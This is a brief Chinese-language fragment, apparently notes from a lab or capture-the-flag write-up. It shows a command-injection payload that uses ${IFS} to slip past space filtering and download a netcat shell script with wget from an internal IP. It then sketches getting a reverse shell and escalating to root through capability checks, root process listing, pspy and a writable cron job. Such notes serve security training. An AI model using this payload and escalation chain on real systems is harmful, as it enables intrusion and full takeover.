wget${IFS}10.17.6.173/nc.sh
由于url编码以及各种原因,空格等shell符号容易发生EOF,直接内网传文件

Pasted%20image%2020240409143759
反弹shell后查找一番

getcap -r / 2>/dev/null

没有
ps aux | grep "^root"
找root相关进程

用pspy,找到定时任务
然后cat写入文件
再弹一次shell